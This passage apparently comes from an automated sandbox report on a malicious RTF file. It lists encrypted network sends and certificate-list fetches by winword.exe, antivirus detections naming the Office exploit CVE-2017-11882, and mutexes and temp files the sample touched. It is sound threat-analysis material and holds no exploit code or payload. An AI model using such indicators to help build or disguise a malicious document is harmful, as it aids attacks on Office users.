  698. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xdb^\\xeaz\\x86\\x91\\xd6z\\x9e\\x01\\xbfz\\x9a\\xdb\\x84\\xf2\\xce\\xb8\\xfa\\x1c\\xcd4q\\xce\\xb9\\x1a-\\xe8\\xd11\\xa4\\xab;\\x9f\\xf5t\\x17\\xf2\\xee\\xd9\\x12,\\x19\\x8fh\\x1a)\\xab0\\x17\\xefx8\\x8d\\xf3\\x10j\\xa4\\x84\\xdb_\\x7f\\xec%\\x86$?\t:\\xe7\\x1c\\xef%\\x8c\\xab\\xcfnab~\\xf4\\xf69\\xb1\\x80\\xa3m\\xa7\\xd4\\xea\\xe1g\\xfb=\\x0e\\xb9-\\x93y\\xc8g\\xe7\\xb6t\\xd6\\x9b\\xcb\\xfa\\xda\\xad~\\x84c\\xf8\\x04\\x83riv\\xa7\\xca\\xe4\\x1a\\xe8\\xc0&\\xcc\\xd7`&\\xa1y\\x93\\xad$\\xbd\\xda5\\x87\\x9ab\\x807\\xd0\\xab\\xe6\\x19z\\xf0k\"ne\\xb6\\xa7\\xd8\\x7f\\xbad\\xdd\\xd7\\xee\\xad\\xe7\\xde\\x169m'o\\xd3\\x95#a\\x8d\\xb3\\x9e\\xd6\\x895\\x8a\\xcb&\\xab\\x16.\\xea+p=8ih\\x8f\\x96kac\\xbd\\x97\\x16\\xd7y\\x89\\x83\\xd3\\x89%5\\x00\\xc9\\xb1\\x13\\xa4r\n\\x85\\x86\\xcc\\x88\\x8e-\\x0c\\x8e\\x95\\xe4\\x8d\\xea\\xff\\x12k\\xb4\\x11\\xe2\\x8b\\x04\\x80>\\x99.o\\x1c"
  699.  
  700.  
  701. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xc6\\x11\\xb3xn\\xf4o\\xff\\xcc\\x81\rqe\\x011\\x00\\xf7?\\xf6\\xe8\\x86\\xc9\\w\\x99\\xe5\\xe8\\x95w\\xe7a!m\\x87\\x88\\xe7\\xb4\\\\xd8\\xcfbz6\t\\xfa\\xf9\\xe6\\x93\\x1a\\xb7`\\xef\\xc1\\x8c\\x99\\xd8t\\x0c\\x15y\\x8c=\\xe8\\xbd\\x8d\\xd2m\\xd3\\x17\\xe4\\x81\\xaa\\xdc\\x0eeb\\xf1\\xa5\\xb1e\\x81\\x04\\xd8\\x889\\xc0\\xeb>\\xdcr\\x0b\\xaf\\x03\\xb2\\x83p\\x93\\xb3\\xe6\\xb6\\xfc\\x92\\xeb\\xcd\\xfa\\xb0l\\xa2\\x11\\x97'\\x10f\\x8f\\x8a\\xc1\\x92f\\xab\\xcagn*\\xe7\\xe3v\\x87'\\xc4yb\\x8a\\x95\\xb3\\xe2\\x97\\xc4\\xb6d\\x13\\xee\\xf1\\xb1 \\xef\\xca\\x8b\\xcbyq\\xc8\\xaf\\x18\\xf7\\x84\\xb9(uz\\xfb6\\xcc\\xe8\\x9c\\x82p\\xb6\\xd9\\xcf\\xad\\x1c\\xace\\xa5\\xd0\\xa3a\\xe8\\x8aea\\xf6\\x97(\\xcbx1\\x1e\\xbc\\xdb\\xb7\\xddv\\xa2\\x0b\r\\xc8\\xc0\\x8d\\xa2\\x13\\xc9\\x10cm<\\xaa\\xe2\\xc7\\xa1#\\x93$\\x84rl0\\xea\\x8fuqe\\xc8^\\xe0\\xc0_a\\xa0\\x15\\x89\\xd1~sd\\x02\r\\xda#\\xd5\\xc0\\xaa@\\xd5\\x16r\\x99;j"
  702.  
  703.  
  704. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010lk\\x1f^)\\x94\\xba\\x12\\xfa\\x16|\\xccl\\xa4\\x8d\\x81y\\x07\\x92\\x1e\\xfa\\xa19\\x7f\\xd0\\x05\\xea\\xc1s\\x7f\\xea\\xf9j$\\xdb(\\x19\\x80\\xc6\\x83\\xecn@\\xe6\\x81\\x96\\xe3\\x03)ww\\x943\"\\x80\\xff\\xd3\\xbb\\xd58\\xae\\x1d\\xc9\\xe2\\x805/\\xca\\x87\\xdcl:q\\xd0\\xa2_\\xbe\\x05\\x8643\\xb6a\\xc4\\xf2_=o\\xf8\\x98\\xf2u|\\xb0t5+\\x93\"z\\x90\\x96\\x04b\\xdez\\xdcq_\\x1d\\x82\\xb8k1:\\x14\\x14\\xd5\\xf0u\\xaf\\x96\\xfb\\x91\\xfd\\xe2\\xc66\\x1a\\xf43\\xe6\\x97\\x04\\xbe\\x94\\xc2\\xa5f$\\x1c|\\xc1.\\xe61g\\xe3\\xf6g\\xad\\x83\\x15\\xd4\\xc0\\xbd\\xb1\\xaea\\xc6\\xe0|\\x90\\xc48\\xbb8\\x18\\xada\\xcd\\x8ehd:\\x08sl\\xea\\xc5\"\\x92\\xf9\\x8e\\xa4c\\xbe\\xf1\\xd1l\\x97\\xea\\xdc\\x1fi\\xdd:dk\\x9ay\\x0b\\xb4\\xcep\\xb0\\xf5\\xf8\\xe3&\\xa6\\x8c\\xcf\\xb4\\xaap\\x82z\\xce\\xf3\\xf1l\\xaa\\xe7\\x10\\xf5\\xc6\\x17\"a\\x92\\xe5-;\\x83\\xad0\\xf3\\xef\\xackt\\x8d\\xc9qv\\xa1\\x97\\x11"
  705.  
  706.  
  707. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x07\\x9b%\\xf4\\xe4\\xc4\\x1f\\x93_\\x06\\xdd\\xca4\\x93n\\x0b\\xda\\xa5\\x84.\\x9a\\x02\\x8e\\xd2w\\x9fz\\xf1`\\xf8bw\\x03\\xfdz\n\\x1ey):\\x1ar\\x8a\\x87oj\\xe8\\xfa_\\x03m\\xc4\\x8f\\xd0\\xd9\\xe7\\xb7qf>\\xf5\\x9aew\\xf6w\\xdc\\x998\\x1c@\\xb2\\xf0\\xd9\"z%\\xc2ouq\\xe5\\xd2\\xd4\\xc9\\x8f0a0j\\xe9:$\\x81\\xa4/\\xbfo\\xd2\\xc4\\x92=a\\xcc\\x1fw\\xf0\\x8a\\xcb\\x86\\x81\\x92.\\x8bl\\xae\\xef_0\\x96>\\xa1\\x06\\x8a\\xd8\\xd8\\x0b\\xc0o\\xea\\x9c\\xf7rc\\xbc\\xdc\\x177\\xb1\\x97.\\xa0\\xd7\\x15\\xd5\\xfb\\xb9\\x94\\x03*\\xf21jt\\xc8|\r\\x7f\\x1ftltw)ix\\xf6 \\xc0\\xf4^\\xd35y\\xdd\\x92\\x02\\x050v\\x04\\xd2\\x1e\\xca\\xc4\\x13\\xf0\\x01\\x8f?\\xb0\\x18x\\x15\\xb7b\\x05\\xf5\\x82\\xe6\\xa9k\\xd2\\xc9\\xe5.\\xabw;\\xa2\\xfa\\xbfh\\xd3\\x88\\xddt\\xab$\\x96\\xef\\x93\\xb3\\x82\\xed\\xfd\\xcap\\x03\\xfe?d\\xce\\x952\\xeb\t2k\\x17i"
  708.  
  709.  
  710. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010e\\x03\\x0c\\x01\\x95?\\x14!2\\xf1h\\xb2cdk\\xc5_\\xcb\\x02p`\r\\xc0\\xac=\\xc3kgx\\x98mk/\\x94\\xe3\\xb6\\xa51j,\\xcen\\xff\\xc7\\x7f\\xc7\\x9b\\xa35\\x7f\\xc6 \\xad\\xe0\\x08e\\xb0\\x1d3\\x80\\xfe\\xfa\\x0b\\xb2\\xbc\\xc4\\xd0n\\xb7\\xea\\xc4l\\xb4<\\x99=q\\xeet\\x03\\xa8\\xd0/\\x1d\\xf7b\\xc9\\xa6\\x10\\xcf\\xc7\\x91\\xe6\\xcd\\xff\\xcd\\xdfq\\xbc\\xf6\\x8c\\x0f\\xabf_|)\\xe0|\\xb0\\x03\\xed\\x91\\xb0\\x08`\\x99l\\xd1s\\xacv\\xeb14x\\xe1\\x04\\xd3tgq\\xeae\\xb8\\x83\\xdc\\x1am\\xe9\\x0b\\xed\\xd1\\xc7:\\xfc!\\x9d\\x9a\\x1e\\xa4\\xc2\\xbe\\x96?fl\\xe8\\xf8\\xae\\x02\\xa0\\x90\\xb3\\x8b\\xe4$\\xdd\\xf0\\xdc\\xc8\\xc4\\x97\\xd5?\\x1fi\\xdcr\\xd4u\\xf2\\xba\\xe3\\x85\\x13\\xfce\\xaf0\\xd71\\xb9<\\xb4\\xea\\x9f\\xc3\\xbc@\\xc4\\xbc\\x18t\\x92\\xb2\\-@\\x1d\\x97\\xce\\xd8\\xe6?\\x02`7\\x01\\xf48\\xc3\\x07\\xd2\\xb8\\xf3_.d\\xcew\\xed&m\\xc2m\\xc3v8y/\\x86>\\xa4\\xf2\\x912\\xbf\\x04"
  711.  
  712.  
  713. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010ys3w\\xba;\\xb8\\x03>\\x92\\xd3\\xfaf\\xcb\\x98b\\x98\\xb0\\xc8\\xa7\\x822\\xd3\\x18<\\xfe\\xad\\xf3e>\\x90\"\\xd5\\xc5\\xc43\\xf1g\\xef\\xdd\\xf5n\\xc2\\xd7\\x9c8\\x1e\\xf1\\xc8v\\xf0\rb\\xd58\\xae\\xb5:o\\xd2?\\x05\\x95\\xc1\\xa0\\xd5+\\xf3\\x1d\\xb5p\\xe6\\x86f>\\xad/\\xc4b\\x14$(cm\\x9d\\xf5\\x83b'\\xa7\\xdb+;h=\\xecl\\xd2\\xd4\\xd4$\\xf1bx\\x9e`\\x12gn7\\x10\\xab\\xd3\\x8e\\xad\\x80\\xd3\\xa8\\x88\\xf4\\xafv\\x1d\\xbc\\xb6o>s\\x07\\x03\\x18u\\xf3b\"<g/%\\xc2\\xde!\t\\xaf\\xc2\\x84\\xf4\\x93x\"\\x07\\xfe\\x89\\xbbu5\\xc4\\x04t\\xe91\\xca\"\\xc2@k$\\x88\n\\x9d\\xd78\r\\x86\\x954\\x94v\\xcb\\xde\\x03y\\xd57_zl!\\xe2\\xf0n\\x14\\xa0\\xddv!b\\xff3\\xff1\\xf0p\\x11\\xd2\\xc1\\xd9r\r\\xcc\\xce\\x1c\\xbd8k\\x1a\\xa2\\xac\\x8f\\x81\\x01\\xa8\\xc76\\xa4\\xbdx\\x1ap\\xc7\\xaf:v\\xa4!\\x89\\x1ex\\x1d_\\x06\\x7f\\x07\\x9fp"
  714.  
  715.  
  716. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe6\\x06l\\x902\\xaa\\xc1b\t)f\\xad\\xf4:x\\xc2\\xc2\\x02\\x17s(4\\xbcj|x\\xcc^\\x96\rz\\xe3\\x06,;\\x0ek\\x8b\\xd4\\x85\\x86\\xcb\\xb8=\\xc7\\xe5?\\xf7\\x92\\xc6m:\\x19\\xfd\\xeaa\\xb3\\xb81\\xbc_\\xaf\\xe6h\\x16\\x81e6d\\xc7s\\x8f\\x0c\\x81\\xd9'w\\xf1\\x93\\x89\\x8d!\\xf9\\xf4\\xa9cx\\x9e\\xc1hq \\x0fw\\x1a\\x00\\xf3#\\x97\\x8em\\xf3>\\x87\\xae\\x98\\xda4\\xc6\\xd4\\x1a\\x04\\xd0rv\\x13\\xb3\\x9bt\\xff\\x84<\\x1f\t\\x15\\xf5^\\xf8\\xc2\\x8a\\xae-\\x11\\xf9\\x14xq\\xdc\\x96\\x1d\\xe8\\\\xae\\xeeu\\xbf\\xbd\\xd6!\\xff-\\x89(tn!\\x9b\\x99\\xd1e\\xbf\\xfc\\x8e`\\xbd\\x86\\x94\\xb3\\xf1\\x12\\xfb\\x17\\xfa\\xfc|o;hg\\xaf\\xc4/\\x00\\x19l0\\xaa\\x0c\\xe8\\x91s\\xe7r_\\xc6\\x1d\\xdf\\xdd\\xe5u\\x16\\x7fb\\xbax\\xe9\\xf8\\xa0\\x01\\xa3\\xcb\\x92\\xc3\\x86\\xa6\\xee\\x90aa\\x07\\xcf4z:z~\\x07\\xa0\\x9d\\x90\\xf7i\\xfe\\xd2\\xces\\xe9\\xb0q\\x12\\x14\\xees\\x0b@\\xaa\\xe3\\xfb\\xd8"
  717.  
  718.  
  719. "http_request": "winword.exe_WSASend_get /pki/crl/products/microsoftrootcert.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: thu, 07 mar 2019 06:00:16 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  720.  
  721.  
  722. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf8\\xd6\\xa8f\\x01/\\x17-\\x90\\xd6\\xcd0\\x1cw\\x1f\\x01\\x98\\\\x0cr+d\\x96\\xab\\xeb\\x81\\xcd\\xf5\\xfe\\xb5\\xa6\\xef\\x1d\\xeb\\xb0\\x85\\xccxk\\x80)\\x89\\?1m\\x13\\xec\\x9f\\xfb\\xb0i\\x10x\\xf8\\xae\\xf1\\xf5\\xc4\\xbc\\xf8:\\xf4\\xf3\\x08\\xc4\\xd6z\r\\x89\\xd0\\xc44\\x1f\\xd6k\\xf6\\x1dqk\\xb2\\x8a\\xf4\t\\xa8\\xc7\\xe0\\xe9\\x0cz\\x05^v\\xe3\\xf8j\\x00\\xbf\\xaavi\\xb3\\x08\\x14d\\xb7tt\\xa5 \\x10\\xb6\\xd1\\x94\\xf5\\x9c\\x08t\\xa8\\x04\\x04h*02y\\xd5?\\xfdv\\xb8\\x0c4\\x87\\xaf\\xab\\x93\\xc3y\\x88\r\\xc3f\\x91\\x15x\\xed\\x01\\x00\\xc7\\xe3\\x83\\x8c3\\xf2\\xcb\\x07\\x13\\xf3ni\\xa4\\x85w\\xede\\x01\\x81\\x15.\\xa3?\\xd8\\xadp\\x85z\\x86\\x05\\x90\\xc4\\x14\\xfd\\xfe<\\xea\\x17\\xb4#t\\x9c>\\xb2\\x82\\xf6\\x10g\\xc5\\xe1\\xbec\\xffs\\xdb\\x88b\\xd61^\\x15p)\\x1b\\xbap\\xef\\xe6\\xc0\\xab\\xaa\\xac\\x8f\\x08\\xe3\\xb3\\xd1\\xcd\t2\\x9c\\x95tvp\\x96\\x90o\\xb7\\x1a\\x06\n\\x9f\\x1c\\xa4\\xb4+\\xf9\\xef"
  723.  
  724.  
  725. "http_request": "winword.exe_WSASend_x\\xeb=\\x14\\xa0\\xdbr\\x10mlzm\\xb4\\xc8.\\x7f\\xea0\\x84hkr:>\\xee\\x12\\x0cn\\xbd\\x8dp\\xf8| \\xa0nw\\xfb\\xab~\\xca\\x02-<>i2i\\x93\\x80\\x02\\xf4\\xef\\xc2c\\x86\\xf8\\xfe\\xa3\\xcd\\xb1\\x89\\xc7\\x02xd\\x8a\\xc6\\xf8\\xeet\\xddn\\xf0\\xe2\\xb1\\x8ay(\\xe9wm\\xe4\\x9e\\x12\\x86\\xef\\x18v\\x89\\xb3\\xd0v\\xbfv\\xfa\\x98\\x0c\\xaa\\xbb\n\\xbbt\\x81\\x91<r\\xb0\\xc4\\x1d4\\x99\\xa0a\\xf2\\xf0\\xbb\\x89\\x8a\\x01\\xa14|\\xd3\\xc5\\x9d2f.\\x1f\\x92m\\xc5\\xb6\\xd5@\\x8ex@\\xf4\\x02\\x10q\\x18\\x00\\xeb?\\xf7\\x87\\xca\\xb7\\xa9\\x8a\\xd5ny\\xfdl?\\xc1\\xe3g\\xf5w\\xfckt\\x9a\\xe90\\xfc\\x86c\\x90\\xb0g\\xf6\\xbes\\xea\\x16\\xe8\\xa2\\x02\\xf5\\xce\\xcb\\xfao\\xa0<\\xcc\\xdari\\xd1\\x83\\xfat\\x07\\x82\\x0b\\xbf;\\xf1\\xdc\\xb5\\x06kh(\\xd0#\\x8dl\\xc6\\x90$z\\xc9\\x86\\x0cn\\x1d\\x1e\\x80\\xa0\\xba\n3\\xe4\\x10\\x19p\\x9c\\xe8w;a-f\\x88f \\xa1\\xdd\\x8b\\xe8\\x91\\xd3\\xd3\\x1d\\xaa\\xf3"
  726.  
  727.  
  728. "http_request": "winword.exe_WSASend_get /pki/crl/products/miccodsigpca_08-31-2010.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: thu, 14 feb 2019 06:01:18 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  729.  
  730.  
  731.  
  732.  
  733. "Description": "File has been identified by 31 Antiviruses on VirusTotal as malicious",
  734. "Details":
  735.  
  736. "MicroWorld-eScan": "Exploit.RTF-ObfsStrm.Gen"
  737.  
  738.  
  739. "FireEye": "Exploit.RTF-ObfsStrm.Gen"
  740.  
  741.  
  742. "CAT-QuickHeal": "Exp.RTF.Obfus.Gen"
  743.  
  744.  
  745. "McAfee": "Exploit-CVE2017-11882.ah"
  746.  
  747.  
  748. "Arcabit": "Exploit.RTF-ObfsStrm.Gen"
  749.  
  750.  
  751. "Cyren": "CVE-2017-11882!Camelot"
  752.  
  753.  
  754. "Symantec": "Bloodhound.RTF.12"
  755.  
  756.  
  757. "ESET-NOD32": "probably a variant of Win32/Exploit.CVE-2017-11882.A"
  758.  
  759.  
  760. "TrendMicro-HouseCall": "Possible_SMBCVE20170199"
  761.  
  762.  
  763. "Kaspersky": "HEUR:Exploit.MSOffice.Generic"
  764.  
  765.  
  766. "BitDefender": "Exploit.RTF-ObfsStrm.Gen"
  767.  
  768.  
  769. "Ad-Aware": "Exploit.RTF-ObfsStrm.Gen"
  770.  
  771.  
  772. "Emsisoft": "Exploit.RTF-ObfsStrm.Gen (B)"
  773.  
  774.  
  775. "Comodo": "Exploit.W97M.CVE2017-11882.AG@843jmy"
  776.  
  777.  
  778. "F-Secure": "Heuristic.HEUR/Rtf.Malformed"
  779.  
  780.  
  781. "DrWeb": "Exploit.Rtf.CVE2012-0158"
  782.  
  783.  
  784. "TrendMicro": "Possible_SMBCVE20170199"
  785.  
  786.  
  787. "McAfee-GW-Edition": "Exploit-CVE2017-11882.ah"
  788.  
  789.  
  790. "Sophos": "Exp/201711882-P"
  791.  
  792.  
  793. "Ikarus": "Exploit.CVE-2017-11882"
  794.  
  795.  
  796. "Avira": "HEUR/Rtf.Malformed"
  797.  
  798.  
  799. "Antiy-AVL": "TrojanExploit/OLE.CVE-2017-11882"
  800.  
  801.  
  802. "Microsoft": "Exploit:O97M/CVE-2017-11882.T"
  803.  
  804.  
  805. "AhnLab-V3": "RTF/Malform-C.Gen"
  806.  
  807.  
  808. "ZoneAlarm": "HEUR:Exploit.RTF.CVE-2017-11882.gen"
  809.  
  810.  
  811. "GData": "Exploit.RTF-ObfsStrm.Gen"
  812.  
  813.  
  814. "TACHYON": "Trojan-Exploit/RTF.CVE-2017-11882"
  815.  
  816.  
  817. "Zoner": "Probably RTFObfuscation"
  818.  
  819.  
  820. "Rising": "Exploit.CVE-2017-11882/SLT!1.AEE3 (CLASSIC)"
  821.  
  822.  
  823. "MAX": "malware (ai score=94)"
  824.  
  825.  
  826. "Qihoo-360": "susp.rtf.objupdate.gen"
  827.  
  828.  
  829.  
  830.  
  831.  
  832. * Started Service:
  833. "osppsvc"
  834.  
  835.  
  836. * Mutexes:
  837. "Global\\MTX_MSO_Formal1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  838. "Global\\MTX_MSO_AdHoc1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  839. "5CAC3FAB-87F0-4750-984D-D50144543427-VER15",
  840. "CicLoadWinStaWinSta0",
  841. "Local\\MSCTF.CtfMonitorInstMutexDefault1",
  842. "Global\\552FFA80-3393-423d-8671-7BA046BB5906",
  843. "Global\\MsoShellExtRegAccess_S-1-5-21-0000000000-0000000000-0000000000-1000",
  844. "Local\\F99C425F-9135-43ed-BD7D-396DE488DC53"
  845.  
  846.  
  847. * Modified Files:
  848. "C:\\Users\\user\\AppData\\Local\\Temp\\RTF_299dad897d77030b8fdcbe6396e8561b.doc",
  849. "C:\\Users\\user\\AppData\\Local\\Temp\\~$F_299dad897d77030b8fdcbe6396e8561b.doc",
  850. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRFC5D80F07-4A05-48BC-A88C-1503B85AF8CA.tmp",
  851. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS6C640C47-72A1-4D16-8AA2-6EF86E04C1ED.tmp",
  852. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRSF0776369-68B5-44EE-91BF-5CE17AAA05BE.tmp",
  853. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  854. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  855. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  856. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  857. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab66CF.tmp",
  858. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar66D0.tmp",
  859. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8F86.tmp",
  860. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8F97.tmp",
  861. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FA8.tmp",
  862. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FC8.tmp",
  863. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FD9.tmp",
  864. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FDA.tmp",
  865. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FEC.tmp",
  866. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FEA.tmp",
  867. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FFD.tmp",
  868. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FFE.tmp",
  869. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FFF.tmp",
  870. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9011.tmp",
  871. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9001.tmp",
  872. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FEB.tmp",
  873. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9000.tmp",
  874. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9022.tmp",
  875. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9033.tmp",
  876. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9044.tmp",
  877. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9034.tmp",
  878. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9069.tmp",
  879. "C:\\Users\\user\\AppData\\Local\\Temp\\cab907A.tmp",
  880. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9057.tmp",
  881. "C:\\Users\\user\\AppData\\Local\\Temp\\cab908C.tmp",
  882. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9056.tmp",
  883. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9045.tmp",
  884. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9079.tmp",
  885. "C:\\Users\\user\\AppData\\Local\\Temp\\cab907B.tmp",
  886. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9058.tmp",
  887. "C:\\Users\\user\\AppData\\Local\\Temp\\cab910A.tmp",
  888. "C:\\Users\\user\\AppData\\Local\\Temp\\cab913B.tmp",
  889. "C:\\Users\\user\\AppData\\Local\\Temp\\cab913A.tmp",
  890. "C:\\Users\\user\\AppData\\Local\\Temp\\cab916B.tmp",
  891. "C:\\Users\\user\\AppData\\Local\\Temp\\cab918B.tmp",
  892. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9257.tmp",
  893. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9296.tmp",
  894. "C:\\Users\\user\\AppData\\Local\\Temp\\cab92F5.tmp",
  895. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9354.tmp",
  896. "C:\\Users\\user\\AppData\\Local\\Temp\\cab93C2.tmp",
  897. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD",
  898. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  899. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  900. "C:\\Users\\user\\AppData\\Local\\Temp\\cab94B1.tmp",
  901. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD",
  902. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9480.tmp",
  903. "C:\\Users\\user\\AppData\\Local\\Temp\\cab946F.tmp",
  904. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9500.tmp",
  905. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab956F.tmp",
  906. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar94B0.tmp",
  907. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9501.tmp",
  908. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9580.tmp",
  909. "C:\\Users\\user\\AppData\\Local\\Temp\\cab96F8.tmp",
  910. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76",
  911. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9776.tmp",
  912. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab97B5.tmp",
  913. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar97D6.tmp",
  914. "C:\\Users\\user\\AppData\\Local\\Temp\\cab98C1.tmp",
  915. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9901.tmp",
  916. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9942.tmp",
  917. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD98D2.tmp\\iso690nmerical.xsl",
  918. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab99E7.tmp",
  919. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9922.tmp\\harvardanglia2008officeonline.xsl",
  920. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar99E8.tmp",
  921. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9A19.tmp",
  922. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9994.tmp\\ThemePictureGrid.glox",
  923. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9962.tmp\\APASixthEditionOfficeOnline.xsl",
  924. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9973.tmp\\TabList.glox",
  925. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9994.tmp\\Content.inf",
  926. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9A2A.tmp",
  927. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD99B4.tmp\\Badge.thmx",
  928. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9A5D.tmp",
  929. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9973.tmp\\Content.inf",
  930. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD99E6.tmp\\gb.xsl",
  931. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD99D6.tmp\\ThemePictureAlternatingAccent.glox",
  932. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD98D2.tmp\\Content.inf",
  933. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9A08.tmp\\turabian.xsl",
  934. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9922.tmp\\Content.inf",
  935. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9B3B.tmp",
  936. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9A3B.tmp",
  937. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9A3A.tmp\\BracketList.glox",
  938. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9983.tmp\\chevronaccent.glox",
  939. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD99D6.tmp\\Content.inf",
  940. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD99C5.tmp\\ConvergingText.glox",
  941. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9AAC.tmp",
  942. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9A3A.tmp\\Content.inf",
  943. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD99C5.tmp\\Content.inf",
  944. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9A4C.tmp\\PictureFrame.glox",
  945. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9ACD.tmp\\gostname.xsl",
  946. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD99E6.tmp\\Content.inf",
  947. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9983.tmp\\Content.inf",
  948. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9B3C.tmp",
  949. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9ABC.tmp",
  950. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9B6C.tmp\\architecture.glox",
  951. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9A4C.tmp\\Content.inf",
  952. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9C86.tmp\\content.inf",
  953. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9D25.tmp",
